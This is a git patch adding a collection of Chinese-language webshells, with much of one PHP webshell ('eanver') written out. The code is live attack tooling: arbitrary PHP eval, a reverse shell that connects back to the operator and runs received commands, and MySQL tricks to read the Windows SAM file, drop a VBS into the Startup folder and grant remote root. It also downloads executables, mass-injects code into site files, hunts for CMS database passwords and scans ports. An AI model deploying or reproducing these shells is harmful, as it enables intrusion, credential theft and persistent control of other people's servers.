From 2f5e16bfbc189df0c46ca69b88c2cb7dce2dad14 Mon Sep 17 00:00:00 2001 From: tennc Date: Thu, 23 Oct 2014 15:01:24 +0800 Subject: [PATCH] add 7iyewu webshell --- www-7jyewu-cn/DOC_ZIBSZXBIEG.php | 2488 +++++++++++++ www-7jyewu-cn/README.md | 6 + .../UnKnown 高级Vip防删收费版 (1).asp | 1746 +++++++++ www-7jyewu-cn/UnKnown 高级Vip防删收费版.asp | 1746 +++++++++ www-7jyewu-cn/aspx经典大马.aspx | 1553 ++++++++ www-7jyewu-cn/asp小马.asp | 104 + .../【批量下载】银河舰队大马_2014版等.zip | Bin 0 -> 1229067 bytes www-7jyewu-cn/不灭之魂2013改进版本.asp | 1373 ++++++++ www-7jyewu-cn/不灭之魂2014改进版本.asp | 1373 ++++++++ www-7jyewu-cn/传说中的草泥马4.0 (1).asp | 1234 +++++++ www-7jyewu-cn/传说中的草泥马4.0.asp | 1234 +++++++ www-7jyewu-cn/免杀php大马.php | 2488 +++++++++++++ www-7jyewu-cn/国外免杀PHP大马_未翻译.php | 3112 +++++++++++++++++ www-7jyewu-cn/国外免杀php大马.php | 3112 +++++++++++++++++ www-7jyewu-cn/土司搞基asp大马 (1).asp | 623 ++++ ...基asp大马 (1)_重命名_2014-10-23-14-54-16.asp | 623 ++++ www-7jyewu-cn/土司搞基asp大马.asp | 623 ++++ www-7jyewu-cn/拿站小助手-经典Asp小马.asp | 104 + .../星外虚拟机提权专用asp大马 (1).asp | 1296 +++++++ ...权专用asp大马 (1)_重命名_2014-10-23-14-54-16.asp | 1296 +++++++ www-7jyewu-cn/星外虚拟机提权专用asp大马.asp | 1296 +++++++ www-7jyewu-cn/最新过安全狗- 免杀PHP大马 -.php | 2488 +++++++++++++ www-7jyewu-cn/法克僵尸大马 (1).asp | 2061 +++++++++++ www-7jyewu-cn/法克僵尸大马.asp | 2061 +++++++++++ www-7jyewu-cn/火狐NEW WebShell (1).asp | 1454 ++++++++ ... WebShell (1)_重命名_2014-10-23-14-54-16.asp | 1454 ++++++++ www-7jyewu-cn/火狐NEW WebShell.asp | 1454 ++++++++ www-7jyewu-cn/牛逼免杀提权隐藏大马 (1).asp | 629 ++++ ...权隐藏大马 (1)_重命名_2014-10-23-14-54-16.asp | 629 ++++ www-7jyewu-cn/牛逼免杀提权隐藏大马.asp | 629 ++++ www-7jyewu-cn/银河舰队大马_2012版.asp | 1189 +++++++ www-7jyewu-cn/银河舰队大马_2014版.asp | 1189 +++++++ www-7jyewu-cn/非常牛逼的Jsp大马.jsp | 994 ++++++ 33 files changed, 43661 insertions(+) create mode 100644 www-7jyewu-cn/DOC_ZIBSZXBIEG.php create mode 100644 www-7jyewu-cn/README.md create mode 100644 www-7jyewu-cn/UnKnown 高级Vip防删收费版 (1).asp create mode 100644 www-7jyewu-cn/UnKnown 高级Vip防删收费版.asp create mode 100644 www-7jyewu-cn/aspx经典大马.aspx create mode 100644 www-7jyewu-cn/asp小马.asp create mode 100644 www-7jyewu-cn/【批量下载】银河舰队大马_2014版等.zip create mode 100644 www-7jyewu-cn/不灭之魂2013改进版本.asp create mode 100644 www-7jyewu-cn/不灭之魂2014改进版本.asp create mode 100644 www-7jyewu-cn/传说中的草泥马4.0 (1).asp create mode 100644 www-7jyewu-cn/传说中的草泥马4.0.asp create mode 100644 www-7jyewu-cn/免杀php大马.php create mode 100644 www-7jyewu-cn/国外免杀PHP大马_未翻译.php create mode 100644 www-7jyewu-cn/国外免杀php大马.php create mode 100644 www-7jyewu-cn/土司搞基asp大马 (1).asp create mode 100644 www-7jyewu-cn/土司搞基asp大马 (1)_重命名_2014-10-23-14-54-16.asp create mode 100644 www-7jyewu-cn/土司搞基asp大马.asp create mode 100644 www-7jyewu-cn/拿站小助手-经典Asp小马.asp create mode 100644 www-7jyewu-cn/星外虚拟机提权专用asp大马 (1).asp create mode 100644 www-7jyewu-cn/星外虚拟机提权专用asp大马 (1)_重命名_2014-10-23-14-54-16.asp create mode 100644 www-7jyewu-cn/星外虚拟机提权专用asp大马.asp create mode 100644 www-7jyewu-cn/最新过安全狗- 免杀PHP大马 -.php create mode 100644 www-7jyewu-cn/法克僵尸大马 (1).asp create mode 100644 www-7jyewu-cn/法克僵尸大马.asp create mode 100644 www-7jyewu-cn/火狐NEW WebShell (1).asp create mode 100644 www-7jyewu-cn/火狐NEW WebShell (1)_重命名_2014-10-23-14-54-16.asp create mode 100644 www-7jyewu-cn/火狐NEW WebShell.asp create mode 100644 www-7jyewu-cn/牛逼免杀提权隐藏大马 (1).asp create mode 100644 www-7jyewu-cn/牛逼免杀提权隐藏大马 (1)_重命名_2014-10-23-14-54-16.asp create mode 100644 www-7jyewu-cn/牛逼免杀提权隐藏大马.asp create mode 100644 www-7jyewu-cn/银河舰队大马_2012版.asp create mode 100644 www-7jyewu-cn/银河舰队大马_2014版.asp create mode 100644 www-7jyewu-cn/非常牛逼的Jsp大马.jsp diff --git a/www-7jyewu-cn/DOC_ZIBSZXBIEG.php b/www-7jyewu-cn/DOC_ZIBSZXBIEG.php new file mode 100644 index 0000000..f19f7e8 --- /dev/null +++ b/www-7jyewu-cn/DOC_ZIBSZXBIEG.php @@ -0,0 +1,2488 @@ + $v) $_POST[$k] = stripslashes($v); + foreach($_GET as $k => $v) $_GET[$k] = stripslashes($v); +} + +/*---End Login---*/ +if(isset($_GET['down'])) do_down($_GET['down']); +if(isset($_GET['pack'])){ + $dir = do_show($_GET['pack']); + $zip = new eanver($dir); + $out = $zip->out; + do_download($out,"eanver.tar.gz"); +} +if(isset($_GET['unzip'])){ + css_main(); + start_unzip($_GET['unzip'],$_GET['unzip'],$_GET['todir']); + exit; +} + +define('root_dir',str_replace('\\','/',dirname(myaddress)).'/'); +define('run_win',substr(PHP_OS, 0, 3) == "WIN"); +define('my_shell',str_path(root_dir.$_SERVER['SCRIPT_NAME'])); +$eanver = isset($_GET['eanver']) ? $_GET['eanver'] : ""; +$doing = isset($_POST['doing']) ? $_POST['doing'] : ""; +$path = isset($_GET['path']) ? $_GET['path'] : root_dir; +$name = isset($_POST['name']) ? $_POST['name'] : ""; +$img = isset($_GET['img']) ? $_GET['img'] : ""; +$p = isset($_GET['p']) ? $_GET['p'] : ""; +$pp = urlencode(dirname($p)); +if($img) css_img($img); +if($eanver == "phpinfo") die(phpinfo()); +if($eanver == 'logout'){ + setcookie('envlpass',null); + die(''); +} + +$class = array( +"信息操作" => array("upfiles" => "上传文件","phpinfo" => "基本信息","info_f" => "系统信息","eval" => "执行PHP脚本"), +"提权工具" => array("sqlshell" => "执行SQL执行","mysql_exec" => "MYSQL操作","myexp" => "MYSQL提权","servu" => "Serv-U提权","nc" => "NC反弹","downloader" => "文件下载","port" => "端口扫描"), +"批量操作" => array("guama" => "批量挂马清马","tihuan" => "批量替换内容","scanfile" => "批量搜索文件","scanphp" => "批量查找木马"), +"脚本插件" => array("getcode" => "获取网页源码") +); +$msg = array("0" => "保存成功","1" => "保存失败","2" => "上传成功","3" => "上传失败","4" => "修改成功","5" => "修改失败","6" => "删除成功","7" => "删除失败"); +css_main(); +switch($eanver){ + case "left": + css_left(); + html_n("
"); + html_img("title");html_n(" 本地硬盘
    "); + $ROOT_DIR = File_Mode(); + html_n("
  • 网站根目录
  • "); + html_n("
  • 本程序目录
  • "); + for ($i=66;$i<=90;$i++){$drive= chr($i).':'; + if (is_dir($drive."/")){$vol=File_Str("vol $drive");if(empty($vol))$vol=$drive; + html_n("
  • 本地磁盘($drive)
  • ");}} + html_n("
"); + $i = 2; + foreach($class as $name => $array){ + html_n("
"); + html_img("title");html_n(" $name
    "); + foreach($array as $url => $value){ + html_n("
  • $value
  • "); + } + html_n("
"); + $i++; + } + html_n("
"); + html_img("title");html_n(" 其它操作
"); + html_n(""); + break; + + case "main": + css_js("1"); + $dir = @dir($path); + $REAL_DIR = File_Str(realpath($path)); + if(!empty($_POST['actall'])){echo '
'.File_Act($_POST['files'],$_POST['actall'],$_POST['inver'],$REAL_DIR).'
';} + $NUM_D = $NUM_F = 0; + if(!$_SERVER['SERVER_NAME']) $GETURL = ''; else $GETURL = 'http://'.$_SERVER['SERVER_NAME'].'/'; + $ROOT_DIR = File_Mode(); + html_n("
地址:"); + html_n("
"); + html_n("
"); + html_n(" "); + html_input("file","upfilet","","      "); + html_input("submit","uploadt","上传"); + if(!empty($_POST['newfile'])){ + if(isset($_POST['bin'])) $bin = $_POST['bin']; else $bin = "wb"; + if (substr(PHP_VERSION,0,1)>=5){if(($_POST['charset']=='GB2312') or ($_POST['charset']=='GBK')){}else{$_POST['txt'] = iconv("gb2312//IGNORE",$_POST['charset'],$_POST['txt']);}} + echo do_write($_POST['newfile'],$bin,$_POST['txt']) ? '
'.$_POST['newfile'].' '.$msg[0] : '
'.$_POST['newfile'].' '.$msg[1]; + @touch($_POST['newfile'],@strtotime($_POST['time'])); + } + html_n('
'); + while($dirs = @$dir->read()){ + if($dirs == '.' or $dirs == '..') continue; + $dirpath = str_path("$path/$dirs"); + if(is_dir($dirpath)){ + $perm = substr(base_convert(fileperms($dirpath),10,8),-4); + $filetime = @date('Y-m-d H:i:s',@filemtime($dirpath)); + $dirpath = urlencode($dirpath); + html_n(''); + $NUM_D++; + } + } + @$dir->rewind(); + while($files = @$dir->read()){ + if($files == '.' or $files == '..') continue; + $filepath = str_path("$path/$files"); + if(!is_dir($filepath)){ + $fsize = @filesize($filepath); + $fsize = File_Size($fsize); + $perm = substr(base_convert(fileperms($filepath),10,8),-4); + $filetime = @date('Y-m-d H:i:s',@filemtime($filepath)); + $Fileurls = str_replace(File_Str($ROOT_DIR.'/'),$GETURL,$filepath); + $todir=$ROOT_DIR.'/zipfile'; + $filepath = urlencode($filepath); + $it=substr($filepath,-3); + html_n(''); + $NUM_F++; + } + } + @$dir->close(); + if(!$Filetime) $Filetime = gmdate('Y-m-d H:i:s',time() + 3600 * 8); +print<< +
+ + + + + + + +目录({$NUM_D}) / 文件({$NUM_F})
+ +END; + break; + + case "editr": + css_js("2"); + if(!empty($_POST['uploadt'])){ + echo @copy($_FILES['upfilet']['tmp_name'],str_path($p.'/'.$_FILES['upfilet']['name'])) ? html_a("?eanver=main",$_FILES['upfilet']['name'].' '.$msg[2]) : msg($msg[3]); + die(''); + } + if(!empty($_GET['redir'])){ + $name=$_GET['name']; + $newdir = str_path($p.'/'.$name); + @mkdir($newdir,0777) ? html_a("?eanver=main",$name.' '.$msg[0]) : msg($msg[1]); + die(''); + } + + if(!empty($_GET['refile'])){ + $name=$_GET['name']; + $jspath=urlencode($p.'/'.$name); + $pp = urlencode($p); + $p = str_path($p.'/'.$name); + $FILE_CODE = ""; + $charset= 'GB2312'; + $FILE_TIME =date('Y-m-d H:i:s',time()+3600*8); + if(@file_exists($p)) echo '发现目录下有"同名"文件
'; + }else{ + $jspath=urlencode($p); + $FILE_TIME = date('Y-m-d H:i:s',filemtime($p)); + $FILE_CODE=@file_get_contents($p); + if (substr(PHP_VERSION,0,1)>=5){ + if(empty($_GET['charset'])){ + if(TestUtf8($FILE_CODE)>1){$charset= 'UTF-8';$FILE_CODE = iconv("UTF-8","gb2312//IGNORE",$FILE_CODE);}else{$charset= 'GB2312';} + }else{ + if($_GET['charset']=='GB2312'){$charset= 'GB2312';}else{$charset= $_GET['charset'];$FILE_CODE = iconv($_GET['charset'],"gb2312//IGNORE",$FILE_CODE);} + } + } + $FILE_CODE = htmlspecialchars($FILE_CODE); + } +print<<查找内容: + +
+
+指定编码: + +END; +html_select(array("GB2312" => "GB2312","UTF-8" => "UTF-8","BIG5" => "BIG5","EUC-KR" => "EUC-KR","EUC-JP" => "EUC-JP","SHIFT-JIS" => "SHIFT-JIS","WINDOWS-874" => "WINDOWS-874","ISO-8859-1" => "ISO-8859-1"),$charset,"onchange=\"window.location='?eanver=editr&p={$jspath}&charset='+options[selectedIndex].value;\""); +print<< +
+
文件修改时间 以二进制形式保存文件(建议使用)
+
+
+ +END; + break; + + case "rename": + html_n("
"); + break; + + case "info_f": + $dis_func = get_cfg_var("disable_functions"); + $upsize = get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "不允许上传"; + $adminmail = (isset($_SERVER['SERVER_ADMIN'])) ? "".$_SERVER['SERVER_ADMIN']."" : "".get_cfg_var("sendmail_from").""; + if($dis_func == ""){$dis_func = "No";}else{$dis_func = str_replace(" ","
",$dis_func);$dis_func = str_replace(",","
",$dis_func);} + $phpinfo = (!eregi("phpinfo",$dis_func)) ? "Yes" : "No"; + $info = array( + array("服务器时间",date("Y年m月d日 h:i:s",time())), + array("服务器域名","".$_SERVER['SERVER_NAME'].""), + array("服务器IP地址",gethostbyname($_SERVER['SERVER_NAME'])), + array("服务器操作系统",PHP_OS), + array("服务器操作系统文字编码",$_SERVER['HTTP_ACCEPT_LANGUAGE']), + array("服务器解译引擎",$_SERVER['SERVER_SOFTWARE']), + array("你的IP",$_SERVER["REMOTE_ADDR"]), + array("Web服务端口",$_SERVER['SERVER_PORT']), + array("PHP运行方式",strtoupper(php_sapi_name())), + array("PHP版本",PHP_VERSION), + array("运行于安全模式",Info_Cfg("safemode")), + array("服务器管理员",$adminmail), + array("本文件路径",myaddress), + array("允许使用 URL 打开文件 allow_url_fopen",Info_Cfg("allow_url_fopen")), + array("允许使用curl_exec",Info_Fun("curl_exec")), + array("允许动态加载链接库 enable_dl",Info_Cfg("enable_dl")), + array("显示错误信息 display_errors",Info_Cfg("display_errors")), + array("自动定义全局变量 register_globals",Info_Cfg("register_globals")), + array("magic_quotes_gpc",Info_Cfg("magic_quotes_gpc")), + array("程序最多允许使用内存量 memory_limit",Info_Cfg("memory_limit")), + array("POST最大字节数 post_max_size",Info_Cfg("post_max_size")), + array("允许最大上传文件 upload_max_filesize",$upsize), + array("程序最长运行时间 max_execution_time",Info_Cfg("max_execution_time")."秒"), + array("被禁用的函数 disable_functions",$dis_func), + array("phpinfo()",$phpinfo), + array("目前还有空余空间diskfreespace",intval(diskfreespace(".") / (1024 * 1024)).'Mb'), + array("图形处理 GD Library",Info_Fun("imageline")), + array("IMAP电子邮件系统",Info_Fun("imap_close")), + array("MySQL数据库",Info_Fun("mysql_close")), + array("SyBase数据库",Info_Fun("sybase_close")), + array("Oracle数据库",Info_Fun("ora_close")), + array("Oracle 8 数据库",Info_Fun("OCILogOff")), + array("PREL相容语法 PCRE",Info_Fun("preg_match")), + array("PDF文档支持",Info_Fun("pdf_close")), + array("Postgre SQL数据库",Info_Fun("pg_close")), + array("SNMP网络管理协议",Info_Fun("snmpget")), + array("压缩文件支持(Zlib)",Info_Fun("gzclose")), + array("XML解析",Info_Fun("xml_set_object")), + array("FTP",Info_Fun("ftp_login")), + array("ODBC数据库连接",Info_Fun("odbc_close")), + array("Session支持",Info_Fun("session_start")), + array("Socket支持",Info_Fun("fsockopen")), + ); + $shell = new COM("WScript.Shell") or die("This thing requires Windows Scripting Host"); + echo '
'); + html_a('?eanver=main&path='.uppath($path),'上级目录'); + html_n('操作'); + html_n('文件属性修改时间文件大小
'); + html_img("dir"); + html_a('?eanver=main&path='.$dirpath,$dirs); + html_n(''); + html_n("改名"); + html_n("删除 "); + html_a('?pack='.$dirpath,'打包'); + html_n(''); + html_a('?eanver=perm&p='.$dirpath.'&chmod='.$perm,$perm); + html_n(''.$filetime.''); + html_n('
'); + html_img(css_showimg($files)); + html_a($Fileurls,$files); + html_n(''); + if(($it=='.gz') or ($it=='zip') or ($it=='tar') or ($it=='.7z')) + html_a('?unzip='.$filepath,'解压','title="解压'.$files.'" onClick="rusurechk(\''.$todir.'\',\'?unzip='.$filepath.'&todir=\');return false;"'); + else + html_a('?eanver=editr&p='.$filepath,'编辑','title="编辑'.$files.'"'); + + html_n("改名"); + html_n("删除 "); + html_n("复制"); + html_n(''); + html_a('?eanver=perm&p='.$filepath.'&chmod='.$perm,$perm); + html_n(''.$filetime.''); + html_a('?down='.$filepath,$fsize,'title="下载'.$files.'"'); + html_n('
"); + $newname = urldecode($pp).'/'.urlencode($_GET['newname']); + @rename($p,$newname) ? html_a("?eanver=main&path=$pp",urlencode($_GET['newname']).' '.$msg[4]) : msg($msg[5]); + die(''); + break; + + case "deltree": + html_n("
"); + do_deltree($p) ? html_a("?eanver=main&path=$pp",$p.' '.$msg[6]) : msg($msg[7]); + die(''); + break; + + case "del": + html_n("
"); + @unlink($p) ? html_a("?eanver=main&path=$pp",$p.' '.$msg[6]) : msg($msg[7]); + die(''); + break; + + case "copy": + html_n("
"); + $newpath = explode('/',$_GET['newcopy']); + $pathr[0] = $newpath[0]; + for($i=1;$i < count($newpath);$i++){ + $pathr[] = urlencode($newpath[$i]); + } + $newcopy = implode('/',$pathr); + @copy($p,$newcopy) ? html_a("?eanver=main&path=$pp",$newcopy.' '.$msg[4]) : msg($msg[5]); + die(''); + break; + + case "perm": + html_n("
".$p.' 属性为: '); + if(is_dir($p)){ + html_select(array("0777" => "0777","0755" => "0755","0555" => "0555"),$_GET['chmod']); + }else{ + html_select(array("0666" => "0666","0644" => "0644","0444" => "0444"),$_GET['chmod']); + } + html_input("submit","save","修改"); + back(); + if($_POST['class']){ + switch($_POST['class']){ + case "0777": $change = @chmod($p,0777); break; + case "0755": $change = @chmod($p,0755); break; + case "0555": $change = @chmod($p,0555); break; + case "0666": $change = @chmod($p,0666); break; + case "0644": $change = @chmod($p,0644); break; + case "0444": $change = @chmod($p,0444); break; + } + $change ? html_a("?eanver=main&path=$pp",$msg[4]) : msg($msg[5]); + die(''); + } + html_n("
'; + for($i = 0;$i < count($info);$i++){echo ''."\n";} +try{$registry_proxystring = $shell->RegRead("HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp\PortNumber"); +$Telnet = $shell->RegRead("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\TelnetServer\\1.0\\TelnetPort"); +$PcAnywhere = $shell->RegRead("HKEY_LOCAL_MACHINE\\SOFTWARE\\Symantec\\pcAnywhere\\CurrentVersion\\System\\TCPIPDataPort"); +}catch(Exception $e){} + echo ''."\n"; + echo ''."\n"; + echo ''."\n"; + echo '
'.$info[$i][0].''.$info[$i][1].'
Terminal Service端口为'.$registry_proxystring.'
Telnet端口为'.$Telnet.'
PcAnywhere端口为'.$PcAnywhere.'
'; + break; + + case "nc": + $M_ip = isset($_POST['mip']) ? $_POST['mip'] : $_SERVER["REMOTE_ADDR"]; + $B_port = isset($_POST['bport']) ? $_POST['bport'] : '1019'; +print<< +
使用方法:
+ 先在自己电脑运行"nc -l -p 1019"
+ 然后在此填写你电脑的IP,点连接!
+
你的IP 端口号
+
+ +END; + if((!empty($_POST['mip'])) && (!empty($_POST['bport']))) + { + echo '
'; + $mip=$_POST['mip']; + $bport=$_POST['bport']; + $fp=fsockopen($mip , $bport , $errno, $errstr); + if (!$fp){ + $result = "Error: could not open socket connection"; + }else { + fputs ($fp ,"\n*********************************************\n + hacking url:http://www.7jyewu.cn/ is ok! + \n*********************************************\n\n"); + while(!feof($fp)){ + fputs ($fp," [r00t@H4c3ing:/root]# "); + $result= fgets ($fp, 4096); + $message=`$result`; + fputs ($fp,"--> ".$message."\n"); + } + fclose ($fp); + } + echo '
'; + } + break; + + + case "sqlshell": + $MSG_BOX = ''; + $mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $msql = 'select version();'; + if(isset($_POST['mhost']) && isset($_POST['muser'])) + { + $mhost = $_POST['mhost']; $muser = $_POST['muser']; $mpass = $_POST['mpass']; $mdata = $_POST['mdata']; $mport = $_POST['mport']; + if($conn = mysql_connect($mhost.':'.$mport,$muser,$mpass)) @mysql_select_db($mdata); + else $MSG_BOX = '连接MYSQL失败'; + } + $downfile = 'c:/windows/repair/sam'; + if(!empty($_POST['downfile'])) + { + $downfile = File_Str($_POST['downfile']); + $binpath = bin2hex($downfile); + $query = 'select load_file(0x'.$binpath.')'; + if($result = @mysql_query($query,$conn)) + { + $k = 0; $downcode = ''; + while($row = @mysql_fetch_array($result)){$downcode .= $row[$k];$k++;} + $filedown = basename($downfile); + if(!$filedown) $filedown = 'envl.tmp'; + $array = explode('.', $filedown); + $arrayend = array_pop($array); + header('Content-type: application/x-'.$arrayend); + header('Content-Disposition: attachment; filename='.$filedown); + header('Content-Length: '.strlen($downcode)); + echo $downcode; + exit; + } + else $MSG_BOX = '下载文件失败'; + } + $o = isset($_GET['o']) ? $_GET['o'] : ''; +print<< +
+
+地址 +端口 +用户 +密码 +库名 +
+
+END; +if($o == 'u') +{ + $uppath = 'C:/Documents and Settings/All Users/「开始」菜单/程序/启动/exp.vbs'; + if(!empty($_POST['uppath'])) + { + $uppath = $_POST['uppath']; + $query = 'Create TABLE a (cmd text NOT NULL);'; + if(@mysql_query($query,$conn)) + { + if($tmpcode = File_Read($_FILES['upfile']['tmp_name'])){$filecode = bin2hex(File_Read($tmpcode));} + else{$tmp = File_Str(dirname(myaddress)).'/upfile.tmp';if(File_Up($_FILES['upfile']['tmp_name'],$tmp)){$filecode = bin2hex(File_Read($tmp));@unlink($tmp);}} + $query = 'Insert INTO a (cmd) VALUES(CONVERT(0x'.$filecode.',CHAR));'; + if(@mysql_query($query,$conn)) + { + $query = 'SELECT cmd FROM a INTO DUMPFILE \''.$uppath.'\';'; + $MSG_BOX = @mysql_query($query,$conn) ? '上传文件成功' : '上传文件失败'; + } + else $MSG_BOX = '插入临时表失败'; + @mysql_query('Drop TABLE IF EXISTS a;',$conn); + } + else $MSG_BOX = '创建临时表失败'; + } +print<<
上传路径 +

选择文件 +
+END; +} +elseif($o == 'd') +{ +print<<

下载文件 +
+END; +} +else +{ + if(!empty($_POST['msql'])) + { + $msql = $_POST['msql']; + if($result = @mysql_query($msql,$conn)) + { + $MSG_BOX = '执行SQL语句成功
'; + $k = 0; + while($row = @mysql_fetch_array($result)){$MSG_BOX .= $row[$k];$k++;} + } + else $MSG_BOX .= mysql_error(); + } +print<< +function nFull(i){ + Str = new Array(11); + Str[0] = "select version();"; + Str[1] = "select load_file(0x633A5C5C77696E646F77735C73797374656D33325C5C696E65747372765C5C6D657461626173652E786D6C) FROM user into outfile 'D:/web/iis.txt'"; + Str[2] = "select '' into outfile 'F:/web/bak.php';"; + Str[3] = "GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;"; + nform.msql.value = Str[i]; + return true; +} + +
+
+ + +END; +} + if($MSG_BOX != '') echo '
'.$MSG_BOX.'
'; + else echo ''; + break; + + case "downloader": + $Com_durl = isset($_POST['durl']) ? $_POST['durl'] : 'http://www.baidu.com/down/muma.exe'; + $Com_dpath= isset($_POST['dpath']) ? $_POST['dpath'] : File_Str(dirname(myaddress).'/muma.exe'); +print<< +
超连接
+
下载到
+
+END; + if((!empty($_POST['durl'])) && (!empty($_POST['dpath']))) + { + echo '
'; + $contents = @file_get_contents($_POST['durl']); + if(!$contents) echo '无法读取要下载的数据'; + else echo File_Write($_POST['dpath'],$contents,'wb') ? '下载文件成功' : '下载文件失败'; + echo '
'; + } + break; + + case "issql": + session_start(); + if($_POST['sqluser'] && $_POST['sqlpass']){ + $_SESSION['sql_user'] = $_POST['sqluser']; + $_SESSION['sql_password'] = $_POST['sqlpass']; + } + if($_POST['sqlhost']){$_SESSION['sql_host'] = $_POST['sqlhost'];} + else{$_SESSION['sql_host'] = 'localhost';} + if($_POST['sqlport']){$_SESSION['sql_port'] = $_POST['sqlport'];} + else{$_SESSION['sql_port'] = '3306';} + if($_SESSION['sql_user'] && $_SESSION['sql_password']){ + if(!($sqlcon = @mysql_connect($_SESSION['sql_host'].':'.$_SESSION['sql_port'],$_SESSION['sql_user'],$_SESSION['sql_password']))){ + unset($_SESSION['sql_user'], $_SESSION['sql_password'], $_SESSION['sql_host'], $_SESSION['sql_port']); + die(html_a('?eanver=sqlshell','连接失败请返回')); + } + } + else{ + die(html_a('?eanver=sqlshell','连接失败请返回')); + } + $query = mysql_query("SHOW DATABASES",$sqlcon); + html_n('数据库列表:'); + while($db = mysql_fetch_array($query)) { + html_a('?eanver=issql&db='.$db['Database'],$db['Database']); + echo '  '; + } + html_n(''); + if($_GET['db']){ + css_js("3"); + mysql_select_db($_GET['db'], $sqlcon); + html_n('

'); + html_select(array(0=>"--SQL语法--",7=>"添加数据",8=>"删除数据",9=>"修改数据",10=>"建数据表",11=>"删数据表",12=>"添加字段",13=>"删除字段"),0,"onchange='return Full(options[selectedIndex].value)'"); + html_input("submit","doquery","执行"); + html_a("?eanver=issql&db=".$_GET['db'],$_GET['db']); + html_n('--->'); + html_a("?eanver=issql&db=".$_GET['db']."&table=".$_GET['table'],$_GET['table']); + html_n('

'); + if(!empty($_POST['sql'])){ + if (@mysql_query($_POST['sql'],$sqlcon)) { + echo "执行SQL语句成功"; + }else{ + echo "出错: ".mysql_error(); + } + } + if($_GET['table']){ + html_n(''); + $query = "SHOW COLUMNS FROM ".$_GET['table']; + $result = mysql_query($query,$sqlcon); + $fields = array(); + while($row = mysql_fetch_assoc($result)){ + array_push($fields,$row['Field']); + html_n(''); + } + html_n(''); + $result = mysql_query("SELECT * FROM ".$_GET['table'],$sqlcon) or die(mysql_error()); + while($text = @mysql_fetch_assoc($result)){ + foreach($fields as $row){ + if($text[$row] == "") $text[$row] = 'NULL'; + html_n(''); + } + echo ''; + } + } + else{ + $query = "SHOW TABLES FROM " . $_GET['db']; + $dat = mysql_query($query, $sqlcon) or die(mysql_error()); + while ($row = mysql_fetch_row($dat)){ + html_n(""); + } + } + } + break; + + case "upfiles": + html_n(''); + if(!empty($_POST['path'])){ + html_n(''); + if(!empty($_POST['path'])){ + html_n(''); + if(!empty($_POST['path'])){ + html_n(''); + if(!empty($_POST['path'])){ + html_n(' + + + + + + + + + + + +
'.$row['Field'].'
'.$text[$row].'
".$row[0]."
服务器限制上传单个文件大小: '.@get_cfg_var('upload_max_filesize').'
'); + html_input("text","uppath",root_dir,"
上传到路径: ","51"); +print<< +function addTank(){ +var k=0; + k=k+1; + k=tank.rows.length; + newRow=document.all.tank.insertRow(-1) + + newcell=newRow.insertCell() + newcell.innerHTML=" " +} + +function delTank() { + if(tank.rows.length==1) return; + var checkit = false; + for (var i=0;i +

+ + + + +
+ +
+ + + +
请选择要上传的文件:
+END; + html_n('
'); + if($_POST['upfiles']){ + foreach ($_FILES["upfile"]["error"] as $key => $error){ + if ($error == UPLOAD_ERR_OK){ + $tmp_name = $_FILES["upfile"]["tmp_name"][$key]; + $name = $_FILES["upfile"]["name"][$key]; + $uploadfile = str_path($_POST['uppath'].'/'.$name); + $upload = @copy($tmp_name,$uploadfile) ? $name.$msg[2] : @move_uploaded_file($tmp_name,$uploadfile) ? $name.$msg[2] : $name.$msg[3]; + echo '

'.$upload; + } + } + } + html_n(''); + break; + + case "guama": + $patht = isset($_POST['path']) ? $_POST['path'] : root_dir; + $typet = isset($_POST['type']) ? $_POST['type'] : ".html|.shtml|.htm|.asp|.php|.jsp|.cgi|.aspx"; + $codet = isset($_POST['code']) ? $_POST['code'] : ""; + html_n('
文件类型请用"|"隔开,也可以是指定文件名.

'); + html_input("text","path",$patht,"路径范围","45"); + html_input("checkbox","pass","","使用目录遍历","",true); + html_input("text","type",$typet,"

文件类型","60"); + html_text("code","67","5",$codet); + html_n('

'); + html_radio("批量挂马","批量清马","guama","qingma"); + html_input("submit","passreturn","开始"); + html_n('
目标文件:

'); + if(isset($_POST['pass'])) $bool = true; else $bool = false; + do_passreturn($patht,$codet,$_POST['return'],$bool,$typet); + } + break; + + case "tihuan": + html_n('
此功能可批量替换文件内容,请小心使用.

'); + html_input("text","path",root_dir,"路径范围","45"); + html_input("checkbox","pass","","使用目录遍历","",true); + html_text("newcode","67","5",$_POST['newcode']); + html_n('

替换为'); + html_text("oldcode","67","5",$_POST['oldcode']); + html_input("submit","passreturn","替换","

"); + html_n('
目标文件:

'); + if(isset($_POST['pass'])) $bool = true; else $bool = false; + do_passreturn($_POST['path'],$_POST['newcode'],"tihuan",$bool,$_POST['oldcode']); + } + break; + + case "scanfile": + css_js("4"); + html_n('
此功能可很方便的搜索到保存MYSQL用户密码的配置文件,用于提权.
当服务器文件太多时,会影响执行速度,不建议使用目录遍历.

'); + html_input("text","path",root_dir,"路径名","45"); + html_input("checkbox","pass","","使用目录遍历","",true); + html_input("text","code",$_POST['code'],"

关键字","40"); + html_select(array("--MYSQL配置文件--","Discuz","PHPWind","phpcms","dedecms","PHPBB","wordpress","sa-blog","o-blog"),0,"onchange='return Fulll(options[selectedIndex].value)'"); + html_n('

'); + html_radio("搜索文件名","搜索包含文字","scanfile","scancode"); + html_input("submit","passreturn","搜索"); + html_n('
找到文件:

'); + if(isset($_POST['pass'])) $bool = true; else $bool = false; + do_passreturn($_POST['path'],$_POST['code'],$_POST['return'],$bool); + } + break; + + case "scanphp": + html_n('
原理是根据特征码定义的,请查看代码判断后再进行删除.

'); + html_input("text","path",root_dir,"查找范围","40"); + html_input("checkbox","pass","","使用目录遍历

脚本类型","",true); + html_select(array("php" => "PHP","asp" => "ASP","aspx" => "ASPX","jsp" => "JSP")); + html_input("submit","passreturn","查找","

"); + html_n('
找到文件:

'); + if(isset($_POST['pass'])) $bool = true; else $bool = false; + do_passreturn($_POST['path'],$_POST['class'],"scanphp",$bool); + } + break; + + case "port": + $Port_ip = isset($_POST['ip']) ? $_POST['ip'] : '127.0.0.1'; + $Port_port = isset($_POST['port']) ? $_POST['port'] : '21|23|25|80|110|135|139|445|1433|3306|3389|43958|5631'; +print<< +
扫描IP
+
端口号
+
+ +END; + if((!empty($_POST['ip'])) && (!empty($_POST['port']))) + { + echo '
